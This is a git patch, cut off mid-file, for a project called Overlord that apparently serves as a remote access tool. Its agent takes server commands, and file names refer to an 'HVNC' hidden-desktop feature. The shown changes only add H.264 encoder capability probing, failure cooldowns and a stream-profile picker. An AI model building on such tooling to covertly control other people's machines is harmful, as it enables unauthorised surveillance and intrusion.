From 447efa5192fb74e1dc986be74957656d80a7abfb Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 13 Jul 2026 09:34:16 -0500 Subject: [PATCH] force users to pick capable display range. --- .../capture/desktop_encoder_capabilities.go | 17 ++ .../desktop_encoder_capabilities_stub.go | 14 + .../desktop_encoder_capabilities_windows.go | 277 ++++++++++++++++++ .../capture/h264_texture_encoder_windows.go | 80 ++++- .../h264_texture_encoder_windows_test.go | 36 +++ .../agent/capture/nvenc_d3d11_smoke_stub.go | 10 + .../capture/nvenc_d3d11_smoke_windows.go | 30 ++ Overlord-Client/cmd/agent/handlers/command.go | 45 +++ Overlord-Client/cmd/agent/wire/protocol.go | 18 ++ .../public/assets/remotedesktop.js | 129 +++++--- Overlord-Server/public/remotedesktop.html | 30 +- Overlord-Server/src/main-server.ts | 2 + Overlord-Server/src/protocol.ts | 1 + .../routes/websocket-lifecycle-routes.ts | 4 + .../src/server/ws-console-rd-hvnc.ts | 23 ++ Overlord-Server/src/wsValidation.ts | 1 + 16 files changed, 651 insertions(+), 66 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities.go create mode 100644 Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go create mode 100644 Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go diff --git a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities.go b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities.go new file mode 100644 index 0000000..7a48bbb --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities.go @@ -0,0 +1,17 @@ +package capture + +type DesktopEncoderProfile struct { + MaxHeight int `msgpack:"maxHeight" json:"maxHeight"` + Width int `msgpack:"width" json:"width"` + Height int `msgpack:"height" json:"height"` + FPS int `msgpack:"fps" json:"fps"` + Label string `msgpack:"label" json:"label"` + Providers []string `msgpack:"providers" json:"providers"` +} + +type DesktopEncoderCapabilities struct { + Probed bool `msgpack:"probed" json:"probed"` + Display int `msgpack:"display" json:"display"` + Profiles []DesktopEncoderProfile `msgpack:"profiles" json:"profiles"` + Detail string `msgpack:"detail,omitempty" json:"detail,omitempty"` +} diff --git a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go new file mode 100644 index 0000000..be434a5 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_stub.go @@ -0,0 +1,14 @@ +//go:build !windows + +package capture + +func ProbeDesktopEncoderCapabilities(display int) DesktopEncoderCapabilities { + return DesktopEncoderCapabilities{ + Display: display, + Profiles: []DesktopEncoderProfile{ + {MaxHeight: 720, Width: 1280, Height: 720, FPS: 60, Label: "60 FPS - 720p", Providers: []string{"Software H.264 / JPEG"}}, + {MaxHeight: 1080, Width: 1920, Height: 1080, FPS: 60, Label: "60 FPS - 1080p", Providers: []string{"Software H.264 / JPEG"}}, + }, + Detail: "Hardware H.264 capability probing is available on Windows; safe software profiles are shown.", + } +} diff --git a/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go new file mode 100644 index 0000000..7556924 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/desktop_encoder_capabilities_windows.go @@ -0,0 +1,277 @@ +//go:build windows + +package capture + +import ( + "fmt" + "image" + "sort" + "strings" + "sync" + "time" + "unsafe" +) + +const desktopCapabilityCacheTTL = 10 * time.Minute + +var desktopCapabilityCache = struct { + sync.Mutex + entries map[string]desktopCapabilityCacheEntry +}{entries: make(map[string]desktopCapabilityCacheEntry)} + +type desktopCapabilityCacheEntry struct { + at time.Time + caps DesktopEncoderCapabilities +} + +type desktopProbeSize struct { + maxHeight int + width int + height int +} + +type desktopProfileProbe struct { + name string + run func(h264D3D11TextureRequest) (time.Duration, error) +} + +func ProbeDesktopEncoderCapabilities(display int) DesktopEncoderCapabilities { + bounds := DisplayBounds(display) + cacheKey := fmt.Sprintf("%d:%d:%d:%d:%d:%.3f", display, bounds.Min.X, bounds.Min.Y, bounds.Dx(), bounds.Dy(), captureScale()) + desktopCapabilityCache.Lock() + if cached, ok := desktopCapabilityCache.entries[cacheKey]; ok && time.Since(cached.at) < desktopCapabilityCacheTTL { + desktopCapabilityCache.Unlock() + return cached.caps + } + caps := probeDesktopEncoderCapabilities(display, bounds) + desktopCapabilityCache.entries[cacheKey] = desktopCapabilityCacheEntry{at: time.Now(), caps: caps} + for key, entry := range desktopCapabilityCache.entries { + if time.Since(entry.at) >= desktopCapabilityCacheTTL { + delete(desktopCapabilityCache.entries, key) + } + } + desktopCapabilityCache.Unlock() + return caps +} + +func probeDesktopEncoderCapabilities(display int, bounds image.Rectangle) DesktopEncoderCapabilities { + caps := DesktopEncoderCapabilities{Display: display} + if bounds.Dx() <= 0 || bounds.Dy() <= 0 { + caps.Profiles = safeDesktopProfiles(1280, 720) + caps.Detail = "Could not determine the selected display size; safe software profiles are shown." + return caps + } + + factory, err := createDXGIFactory1() + if err != nil { + caps.Profiles = safeDesktopProfiles(bounds.Dx(), bounds.Dy()) + caps.Detail = err.Error() + return caps + } + defer factory.Release() + output, adapter, _, err := findOutput(factory, "", bounds, display) + if err != nil { + caps.Profiles = safeDesktopProfiles(bounds.Dx(), bounds.Dy()) + caps.Detail = err.Error() + return caps + } + defer output.Release() + defer adapter.Release() + device, context, err := createD3DDevice(adapter) + if err != nil { + caps.Profiles = safeDesktopProfiles(bounds.Dx(), bounds.Dy()) + caps.Detail = err.Error() + return caps + } + defer context.Release() + defer device.Release() + + nativeWidth, nativeHeight := even(bounds.Dx()), even(bounds.Dy()) + textureDesc := d3d11Texture2DDesc{ + Width: uint32(nativeWidth), + Height: uint32(nativeHeight), + MipLevels: 1, + ArraySize: 1, + Format: dxgiFormatB8G8R8A8UNorm, + } + textureDesc.SampleDesc.Count = 1 + var texture *d3d11Texture2D + if hr := device.CreateTexture2D(&textureDesc, nil, &texture); hr != S_OK || texture == nil { + caps.Profiles = safeDesktopProfiles(nativeWidth, nativeHeight) + caps.Detail = fmt.Sprintf("D3D11 capability texture creation failed 0x%x", hr) + return caps + } + defer texture.Release() + + probes := []desktopProfileProbe{ + {name: "NVIDIA NVENC", run: func(req h264D3D11TextureRequest) (time.Duration, error) { + return probeNativeD3D11TextureProfile(req.Device, req.Texture, req.InputWidth, req.InputHeight, req.EncodeWidth, req.EncodeHeight, req.FPS, req.DXGIFormat) + }}, + } + if backend := newQSVD3D11TextureBackend(); backend != nil { + probes = append(probes, backendProfileProbe(backend)) + } + if backend := newAMFD3D11TextureBackend(); backend != nil { + probes = append(probes, backendProfileProbe(backend)) + } + + fpsOptions := []int{240, 165, 144, 120, 90, 60, 30} + sizes := desktopProbeSizes(nativeWidth, nativeHeight) + providersByProfile := make(map[string][]string) + for _, size := range sizes { + for _, probe := range probes { + maxFPS := 0 + for _, fps := range fpsOptions { + req := h264D3D11TextureRequest{ + Device: unsafe.Pointer(device), Texture: unsafe.Pointer(texture), + InputWidth: nativeWidth, InputHeight: nativeHeight, + EncodeWidth: size.width, EncodeHeight: size.height, + FPS: fps, DXGIFormat: dxgiFormatB8G8R8A8UNorm, ForceIDR: true, + } + averageEncode, err := probe.run(req) + frameBudget := time.Second / time.Duration(fps) + if err == nil && averageEncode <= frameBudget+frameBudget/5 { + maxFPS = fps + break + } + } + if maxFPS == 0 { + continue + } + for _, fps := range fpsOptions { + if fps <= maxFPS { + key := desktopProfileKey(size.width, size.height, fps) + providersByProfile[key] = appendUniqueString(providersByProfile[key], probe.name) + } + } + } + } + hardwareProfilesFound := len(providersByProfile) > 0 + + for _, safe := range safeDesktopProfiles(nativeWidth, nativeHeight) { + key := desktopProfileKey(safe.Width, safe.Height, safe.FPS) + providersByProfile[key] = appendUniqueString(providersByProfile[key], "Software H.264 / JPEG") + } + + for _, size := range sizes { + for _, fps := range fpsOptions { + providers := providersByProfile[desktopProfileKey(size.width, size.height, fps)] + if len(providers) == 0 { + continue + } + caps.Profiles = append(caps.Profiles, DesktopEncoderProfile{ + MaxHeight: size.maxHeight, Width: size.width, Height: size.height, FPS: fps, + Label: desktopProfileLabel(size.width, size.height, fps), Providers: providers, + }) + } + } + sort.SliceStable(caps.Profiles, func(i, j int) bool { + if caps.Profiles[i].Height != caps.Profiles[j].Height { + return caps.Profiles[i].Height < caps.Profiles[j].Height + } + return caps.Profiles[i].FPS > caps.Profiles[j].FPS + }) + caps.Probed = true + if len(caps.Profiles) == 0 { + caps.Profiles = safeDesktopProfiles(nativeWidth, nativeHeight) + } + if !hardwareProfilesFound { + caps.Detail = "No hardware H.264 profile initialized successfully; safe software profiles are shown." + } else { + caps.Detail = "Profiles were tested on the selected display adapter." + } + return caps +} + +func backendProfileProbe(backend h264D3D11TextureBackend) desktopProfileProbe { + return desktopProfileProbe{name: backend.Name(), run: func(req h264D3D11TextureRequest) (time.Duration, error) { + defer backend.Reset() + producedOutput := false + for frame := 0; frame < 2; frame++ { + req.ForceIDR = frame == 0 + out, err := backend.Encode(req) + if err != nil { + return 0, err + } + producedOutput = producedOutput || len(out) > 0 + } + started := time.Now() + for frame := 0; frame < 6; frame++ { + req.ForceIDR = false + out, err := backend.Encode(req) + if err != nil { + return 0, err + } + producedOutput = producedOutput || len(out) > 0 + } + average := time.Since(started) / 6 + if !producedOutput { + return average, fmt.Errorf("encoder produced no output during capability probe") + } + return average, nil + }} +} + +func desktopProbeSizes(nativeWidth, nativeHeight int) []desktopProbeSize { + maxHeights := []int{720, 1080, 1440, -1} + seen := make(map[string]bool) + out := make([]desktopProbeSize, 0, len(maxHeights)) + for _, maxHeight := range maxHeights { + scale := captureScale() + if maxHeight > 0 && nativeHeight > maxHeight { + if capScale := float64(maxHeight) / float64(nativeHeight); capScale < scale { + scale = capScale + } + } + width, height := even(int(float64(nativeWidth)*scale)), even(int(float64(nativeHeight)*scale)) + if width <= 0 || height <= 0 { + continue + } + key := fmt.Sprintf("%dx%d", width, height) + if seen[key] { + continue + } + seen[key] = true + out = append(out, desktopProbeSize{maxHeight: maxHeight, width: width, height: height}) + } + return out +} + +func safeDesktopProfiles(nativeWidth, nativeHeight int) []DesktopEncoderProfile { + profiles := make([]DesktopEncoderProfile, 0, 4) + for _, size := range desktopProbeSizes(even(nativeWidth), even(nativeHeight)) { + if size.height > 1080 { + continue + } + for _, fps := range []int{60, 30} { + profiles = append(profiles, DesktopEncoderProfile{ + MaxHeight: size.maxHeight, Width: size.width, Height: size.height, FPS: fps, + Label: desktopProfileLabel(size.width, size.height, fps), Providers: []string{"Software H.264 / JPEG"}, + }) + } + } + return profiles +} + +func desktopProfileKey(width, height, fps int) string { + return fmt.Sprintf("%dx%d@%d", width, height, fps) +} + +func desktopProfileLabel(width, height, fps int) string { + resolution := fmt.Sprintf("%dx%d", width, height) + if height == 720 || height == 1080 || height == 1440 || height == 2160 { + resolution = fmt.Sprintf("%dp", height) + } + return fmt.Sprintf("%d FPS - %s", fps, resolution) +} + +func appendUniqueString(values []string, value string) []string { + for _, existing := range values { + if strings.EqualFold(existing, value) { + return values + } + } + return append(values, value) +} + +func even(value int) int { return value - value%2 } diff --git a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go index 5a37fe5..a65c4c7 100644 --- a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go +++ b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows.go @@ -6,9 +6,24 @@ import ( "fmt" "strings" "sync" + "time" "unsafe" ) +const d3d11H264FailureCooldown = 30 * time.Second + +type d3d11H264FailureKey struct { + backend string + device uintptr + inputWidth, inputHeight, encodeWidth, encodeHeight, fps int + dxgiFormat uint32 +} + +type d3d11H264Failure struct { + until time.Time + err string +} + type h264D3D11TextureRequest struct { Device unsafe.Pointer Texture unsafe.Pointer @@ -49,8 +64,10 @@ var d3d11H264TextureRegistry = struct { sync.Mutex backends []h264D3D11TextureBackend active h264D3D11TextureBackend + failures map[d3d11H264FailureKey]d3d11H264Failure }{ backends: []h264D3D11TextureBackend{nvencD3D11TextureBackend{}}, + failures: make(map[d3d11H264FailureKey]d3d11H264Failure), } func init() { @@ -72,26 +89,44 @@ func encodeH264D3D11Texture(req h264D3D11TextureRequest) ([]byte, string, error) failedActiveName := "" errorsByBackend := make([]string, 0, len(d3d11H264TextureRegistry.backends)) if active := d3d11H264TextureRegistry.active; active != nil { - out, err := active.Encode(req) - if err == nil { - return out, active.Name(), nil + key := d3d11H264FailureKeyFor(active.Name(), req) + if failure, failed := activeD3D11H264Failure(key, time.Now()); !failed { + out, err := active.Encode(req) + if err == nil { + delete(d3d11H264TextureRegistry.failures, key) + return out, active.Name(), nil + } + rememberD3D11H264Failure(key, err) + active.Reset() + failedActiveName = active.Name() + errorsByBackend = append(errorsByBackend, active.Name()+": "+err.Error()) + d3d11H264TextureRegistry.active = nil + } else { + errorsByBackend = append(errorsByBackend, active.Name()+": "+failure.err+" (cooldown)") + active.Reset() + failedActiveName = active.Name() + d3d11H264TextureRegistry.active = nil } - active.Reset() - failedActiveName = active.Name() - errorsByBackend = append(errorsByBackend, active.Name()+": "+err.Error()) - d3d11H264TextureRegistry.active = nil } + now := time.Now() for _, backend := range d3d11H264TextureRegistry.backends { if backend == nil || (failedActiveName != "" && backend.Name() == failedActiveName) { continue } + key := d3d11H264FailureKeyFor(backend.Name(), req) + if failure, failed := activeD3D11H264Failure(key, now); failed { + errorsByBackend = append(errorsByBackend, backend.Name()+": "+failure.err+" (cooldown)") + continue + } out, err := backend.Encode(req) if err == nil { + delete(d3d11H264TextureRegistry.failures, key) d3d11H264TextureRegistry.active = backend return out, backend.Name(), nil } backend.Reset() + rememberD3D11H264Failure(key, err) errorsByBackend = append(errorsByBackend, backend.Name()+": "+err.Error()) } if len(errorsByBackend) == 0 { @@ -100,6 +135,37 @@ func encodeH264D3D11Texture(req h264D3D11TextureRequest) ([]byte, string, error) return nil, "", fmt.Errorf("D3D11 H.264 texture encoders unavailable: %s", strings.Join(errorsByBackend, "; ")) } +func d3d11H264FailureKeyFor(backend string, req h264D3D11TextureRequest) d3d11H264FailureKey { + return d3d11H264FailureKey{ + backend: backend, device: uintptr(req.Device), inputWidth: req.InputWidth, inputHeight: req.InputHeight, + encodeWidth: req.EncodeWidth, encodeHeight: req.EncodeHeight, fps: req.FPS, dxgiFormat: req.DXGIFormat, + } +} + +func activeD3D11H264Failure(key d3d11H264FailureKey, now time.Time) (d3d11H264Failure, bool) { + failure, ok := d3d11H264TextureRegistry.failures[key] + if !ok { + return d3d11H264Failure{}, false + } + if !now.Before(failure.until) { + delete(d3d11H264TextureRegistry.failures, key) + return d3d11H264Failure{}, false + } + return failure, true +} + +func rememberD3D11H264Failure(key d3d11H264FailureKey, err error) { + if len(d3d11H264TextureRegistry.failures) > 128 { + now := time.Now() + for existingKey, failure := range d3d11H264TextureRegistry.failures { + if !now.Before(failure.until) { + delete(d3d11H264TextureRegistry.failures, existingKey) + } + } + } + d3d11H264TextureRegistry.failures[key] = d3d11H264Failure{until: time.Now().Add(d3d11H264FailureCooldown), err: err.Error()} +} + func requestH264D3D11TextureKeyframe() { d3d11H264TextureRegistry.Lock() defer d3d11H264TextureRegistry.Unlock() diff --git a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go index 68c93d3..15b45cd 100644 --- a/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go +++ b/Overlord-Client/cmd/agent/capture/h264_texture_encoder_windows_test.go @@ -39,13 +39,16 @@ func TestD3D11TextureBackendSelectionAndFailover(t *testing.T) { d3d11H264TextureRegistry.Lock() savedBackends := d3d11H264TextureRegistry.backends savedActive := d3d11H264TextureRegistry.active + savedFailures := d3d11H264TextureRegistry.failures d3d11H264TextureRegistry.backends = []h264D3D11TextureBackend{first, second} d3d11H264TextureRegistry.active = nil + d3d11H264TextureRegistry.failures = make(map[d3d11H264FailureKey]d3d11H264Failure) d3d11H264TextureRegistry.Unlock() t.Cleanup(func() { d3d11H264TextureRegistry.Lock() d3d11H264TextureRegistry.backends = savedBackends d3d11H264TextureRegistry.active = savedActive + d3d11H264TextureRegistry.failures = savedFailures d3d11H264TextureRegistry.Unlock() }) @@ -79,3 +82,36 @@ func TestD3D11TextureBackendSelectionAndFailover(t *testing.T) { t.Fatalf("reset did not reach every backend: first=%d second=%d", first.resetCalls, second.resetCalls) } } + +func TestD3D11TextureBackendFailuresUseCooldown(t *testing.T) { + first := &fakeD3D11TextureBackend{name: "first", errors: []error{errors.New("unsupported")}} + second := &fakeD3D11TextureBackend{name: "second", errors: []error{errors.New("also unsupported")}} + + d3d11H264TextureRegistry.Lock() + savedBackends := d3d11H264TextureRegistry.backends + savedActive := d3d11H264TextureRegistry.active + savedFailures := d3d11H264TextureRegistry.failures + d3d11H264TextureRegistry.backends = []h264D3D11TextureBackend{first, second} + d3d11H264TextureRegistry.active = nil + d3d11H264TextureRegistry.failures = make(map[d3d11H264FailureKey]d3d11H264Failure) + d3d11H264TextureRegistry.Unlock() + t.Cleanup(func() { + d3d11H264TextureRegistry.Lock() + d3d11H264TextureRegistry.backends = savedBackends + d3d11H264TextureRegistry.active = savedActive + d3d11H264TextureRegistry.failures = savedFailures + d3d11H264TextureRegistry.Unlock() + }) + + device, texture := 1, 2 + req := h264D3D11TextureRequest{Device: unsafe.Pointer(&device), Texture: unsafe.Pointer(&texture), EncodeWidth: 2560, EncodeHeight: 1440, FPS: 240} + if _, _, err := encodeH264D3D11Texture(req); err == nil { + t.Fatal("expected initial profile failure") + } + if _, _, err := encodeH264D3D11Texture(req); err == nil { + t.Fatal("expected cached profile failure") + } + if first.encodeCalls != 1 || second.encodeCalls != 1 { + t.Fatalf("failed profile was retried during cooldown: first=%d second=%d", first.encodeCalls, second.encodeCalls) + } +} diff --git a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go index 4a6ebb1..356cfe7 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_stub.go @@ -2,6 +2,12 @@ package capture +import ( + "fmt" + "time" + "unsafe" +) + type NVENCD3D11SmokeOptions struct { Width int `json:"width"` Height int `json:"height"` @@ -36,3 +42,7 @@ func RunNVENCD3D11Smoke(opts NVENCD3D11SmokeOptions) NVENCD3D11SmokeResult { Message: "NVENC D3D11 smoke requires Windows with cgo enabled", } } + +func probeNativeD3D11TextureProfile(_, _ unsafe.Pointer, _, _, _, _, _ int, _ uint32) (time.Duration, error) { + return 0, fmt.Errorf("NVENC D3D11 support is not compiled in") +} diff --git a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go index 2c1049a..b873d40 100644 --- a/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go +++ b/Overlord-Client/cmd/agent/capture/nvenc_d3d11_smoke_windows.go @@ -1462,6 +1462,7 @@ import ( "strings" "sync" "sync/atomic" + "time" "unsafe" ) @@ -1747,6 +1748,35 @@ func (e *nativeD3D11TextureH264Encoder) EncodeTexture(texture unsafe.Pointer, fo return C.GoBytes(unsafe.Pointer(raw.data), C.int(raw.size)), nil } +func probeNativeD3D11TextureProfile(device, texture unsafe.Pointer, inputWidth, inputHeight, encodeWidth, encodeHeight, fps int, dxgiFormat uint32) (time.Duration, error) { + enc, err := newNativeD3D11TextureH264Encoder(device, inputWidth, inputHeight, encodeWidth, encodeHeight, fps, dxgiFormat) + if err != nil { + return 0, err + } + defer enc.Close() + producedOutput := false + for frame := 0; frame < 2; frame++ { + out, err := enc.EncodeTexture(texture, frame == 0) + if err != nil { + return 0, err + } + producedOutput = producedOutput || len(out) > 0 + } + started := time.Now() + for frame := 0; frame < 6; frame++ { + out, err := enc.EncodeTexture(texture, false) + if err != nil { + return 0, err + } + producedOutput = producedOutput || len(out) > 0 + } + average := time.Since(started) / 6 + if !producedOutput { + return average, fmt.Errorf("NVENC produced no output during capability probe") + } + return average, nil +} + func (e *nativeD3D11TextureH264Encoder) maybeLogEncodeDetail(raw C.nvenc_d3d11_encode_result, frame uint64, forceIDR bool) { total := float64(raw.copy_ms + raw.blt_ms + raw.map_ms + raw.submit_ms + raw.lock_ms) traceMode := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_NVENC_D3D11_TRACE"))) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 5bdf6e4..1b292d4 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -846,6 +846,51 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in capture.SetMaxResolution(maxH) sendCommandResultSafe(env, cmdID, true, "") return nil + case "desktop_set_profile": + payload, _ := envelope["payload"].(map[string]interface{}) + maxH, fps := 1080, 60 + if payload != nil { + if v, ok := payloadInt(payload, "maxHeight"); ok { + maxH = v + } + if v, ok := payloadInt(payload, "fps"); ok { + fps = v + } + } + SetDesktopTargetFPS(30) + capture.SetMaxResolution(maxH) + fps = SetDesktopTargetFPS(fps) + log.Printf("desktop: set stream profile max_height=%d fps=%d", maxH, fps) + sendCommandResultSafe(env, cmdID, true, "") + return nil + case "desktop_encoder_capabilities": + payload, _ := envelope["payload"].(map[string]interface{}) + display := env.SelectedDisplay + if payload != nil { + if v, ok := payloadInt(payload, "display"); ok { + display = v + } + } + if display < 0 || display >= capture.MonitorCount() { + display = 0 + } + goSafe("desktop encoder capability probe", env.Cancel, func() { + caps := capture.ProbeDesktopEncoderCapabilities(display) + profiles := make([]wire.DesktopEncoderProfile, 0, len(caps.Profiles)) + for _, profile := range caps.Profiles { + profiles = append(profiles, wire.DesktopEncoderProfile{ + MaxHeight: profile.MaxHeight, Width: profile.Width, Height: profile.Height, + FPS: profile.FPS, Label: profile.Label, Providers: profile.Providers, + }) + } + if err := wire.WriteMsg(ctx, env.Conn, wire.DesktopEncoderCapabilities{ + Type: "desktop_encoder_capabilities", CommandID: cmdID, Probed: caps.Probed, + Display: caps.Display, Profiles: profiles, Detail: caps.Detail, + }); err != nil { + log.Printf("desktop: encoder capability result send failed: %v", err) + } + }) + return nil case "desktop_set_fps": payload, _ := envelope["payload"].(map[string]interface{}) fps := 120 diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index cde58fb..3decdbf 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -69,6 +69,24 @@ type CommandResult struct { Message string `msgpack:"message,omitempty"` } +type DesktopEncoderProfile struct { + MaxHeight int `msgpack:"maxHeight"` + Width int `msgpack:"width"` + Height int `msgpack:"height"` + FPS int `msgpack:"fps"` + Label string `msgpack:"label"` + Providers []string `msgpack:"providers"` +} + +type DesktopEncoderCapabilities struct { + Type string `msgpack:"type"` + CommandID string `msgpack:"commandId,omitempty"` + Probed bool `msgpack:"probed"` + Display int `msgpack:"display"` + Profiles []DesktopEncoderProfile `msgpack:"profiles"` + Detail string `msgpack:"detail,omitempty"` +} + type ClientLogEntry struct { Seq uint64 `msgpack:"seq" json:"seq"` At int64 `msgpack:"at" json:"at"` diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 6756382..93c23d8 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -63,8 +63,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s const kbdCtrl = document.getElementById("kbdCtrl"); const cursorCtrl = document.getElementById("cursorCtrl"); const duplicationCtrl = document.getElementById("duplicationCtrl"); - const resolutionSelect = document.getElementById("resolutionSelect"); - const targetFpsSelect = document.getElementById("targetFpsSelect"); + const streamProfileSelect = document.getElementById("streamProfileSelect"); + const streamProfileDetail = document.getElementById("streamProfileDetail"); const smoothingSlider = document.getElementById("smoothingSlider"); const smoothingValue = document.getElementById("smoothingValue"); const qualitySlider = document.getElementById("qualitySlider"); @@ -372,6 +372,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } let savedDisplay = null; + let savedStreamProfile = null; function setSelectValue(select, value) { if (!select || value === undefined || value === null) return false; @@ -390,8 +391,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s function applySharedSettings(settings) { if (!settings || typeof settings !== "object") return; savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay; - setSelectValue(resolutionSelect, settings.resolution); - setSelectValue(targetFpsSelect, settings.targetFps); + savedStreamProfile = settings.streamProfile || + ((settings.resolution !== undefined && settings.targetFps !== undefined) + ? `${settings.resolution}:${settings.targetFps}` + : savedStreamProfile); + setSelectValue(streamProfileSelect, savedStreamProfile); setSelectValue(webrtcMode, settings.webrtcMode); setSelectValue(audioTransport, settings.audioTransport); setSelectValue(recordMode, settings.recordMode); @@ -415,10 +419,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s } function readSharedSettings() { + const profile = selectedStreamProfile(); return { display: Number(displaySelect?.value || 0), - resolution: resolutionSelect?.value || "1080", - targetFps: targetFpsSelect?.value || "120", + streamProfile: streamProfileSelect?.value || "1080:60", + // Keep the legacy fields so HVNC and older remote-desktop builds that + // share these preferences continue to receive equivalent settings. + resolution: String(profile.maxHeight), + targetFps: String(profile.fps), quality: Number(qualitySlider?.value || 90), preferH264: !!prefersH264, webrtcMode: getWebrtcMode(), @@ -906,8 +914,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s pushInputToggles(); pushCaptureToggles(); if (qualitySlider) pushQuality(qualitySlider.value); - pushTargetFps(); - pushResolution(); + pushStreamProfile(); if (shouldRequestStart) { if (mode === "relayed") { sendCmd("desktop_start", { webrtc: true }); @@ -1043,7 +1050,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s desiredStreaming, display: displaySelect?.value ?? "", quality: qualitySlider?.value ?? "", - resolution: resolutionSelect?.value ?? "", + streamProfile: streamProfileSelect?.value ?? "", transport: getWebrtcMode(), lastFrameAgeMs: lastFrameAt ? Math.round(performance.now() - lastFrameAt) : null, }); @@ -1200,6 +1207,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s if (client) { populateDisplays(client.monitors, client.monitorInfo); applySavedDisplay(); + if (ws && ws.readyState === WebSocket.OPEN) requestEncoderCapabilities(); } if (duplicationCtrl) { const os = (client?.os || "").toLowerCase(); @@ -1282,35 +1290,75 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s }); } - function pushResolution() { - if (resolutionSelect) { - const maxHeight = parseInt(resolutionSelect.value, 10); - console.debug("rd: pushResolution maxHeight=", maxHeight); - sendCmd("desktop_set_resolution", { maxHeight: maxHeight }); - } + function selectedStreamProfile() { + const [heightValue, fpsValue] = String(streamProfileSelect?.value || "1080:60").split(":"); + const maxHeight = Number.parseInt(heightValue, 10); + const fps = Number.parseInt(fpsValue, 10); + return { + maxHeight: Number.isFinite(maxHeight) ? maxHeight : 1080, + fps: Number.isFinite(fps) ? Math.max(1, Math.min(240, fps)) : 60, + }; } - function selectedTargetFps() { - const fps = Number(targetFpsSelect?.value || 120); - return Number.isFinite(fps) ? Math.max(1, Math.min(240, Math.floor(fps))) : 120; + function pushStreamProfile() { + const profile = selectedStreamProfile(); + console.debug("rd: pushStreamProfile", profile); + sendCmd("desktop_set_profile", profile); } - function pushTargetFps() { - const fps = selectedTargetFps(); - console.debug("rd: pushTargetFps fps=", fps); - sendCmd("desktop_set_fps", { fps }); - } - - if (resolutionSelect) { - resolutionSelect.addEventListener("change", function () { - pushResolution(); - sharedSettingsSaver.scheduleSave(); + function requestEncoderCapabilities() { + if (streamProfileDetail) streamProfileDetail.textContent = "Checking hardware encoder profiles…"; + sendCmd("desktop_encoder_capabilities", { + display: Number.parseInt(displaySelect?.value || "0", 10) || 0, }); } - if (targetFpsSelect) { - targetFpsSelect.addEventListener("change", function () { - pushTargetFps(); + function applyEncoderCapabilities(msg) { + if (!msg || !Array.isArray(msg.profiles) || !streamProfileSelect) return; + const selectedDisplay = Number.parseInt(displaySelect?.value || "0", 10) || 0; + if (Number.isFinite(Number(msg.display)) && Number(msg.display) !== selectedDisplay) return; + const previous = streamProfileSelect.value; + streamProfileSelect.innerHTML = ""; + for (const profile of msg.profiles) { + const maxHeight = Number(profile.maxHeight); + const fps = Number(profile.fps); + if (!Number.isFinite(maxHeight) || !Number.isFinite(fps)) continue; + const option = document.createElement("option"); + option.value = `${maxHeight}:${fps}`; + option.textContent = String(profile.label || `${fps} FPS - ${Number(profile.height) || maxHeight}p`); + const providers = Array.isArray(profile.providers) ? profile.providers.join(", ") : ""; + if (providers) { + option.title = `Available through ${providers}`; + option.dataset.providers = providers; + } + streamProfileSelect.appendChild(option); + } + if (!streamProfileSelect.options.length) { + const option = document.createElement("option"); + option.value = "1080:60"; + option.textContent = "60 FPS - 1080p"; + streamProfileSelect.appendChild(option); + } + if (!setSelectValue(streamProfileSelect, savedStreamProfile) && + !setSelectValue(streamProfileSelect, previous) && + !setSelectValue(streamProfileSelect, "1080:60")) { + streamProfileSelect.selectedIndex = 0; + } + savedStreamProfile = streamProfileSelect.value; + 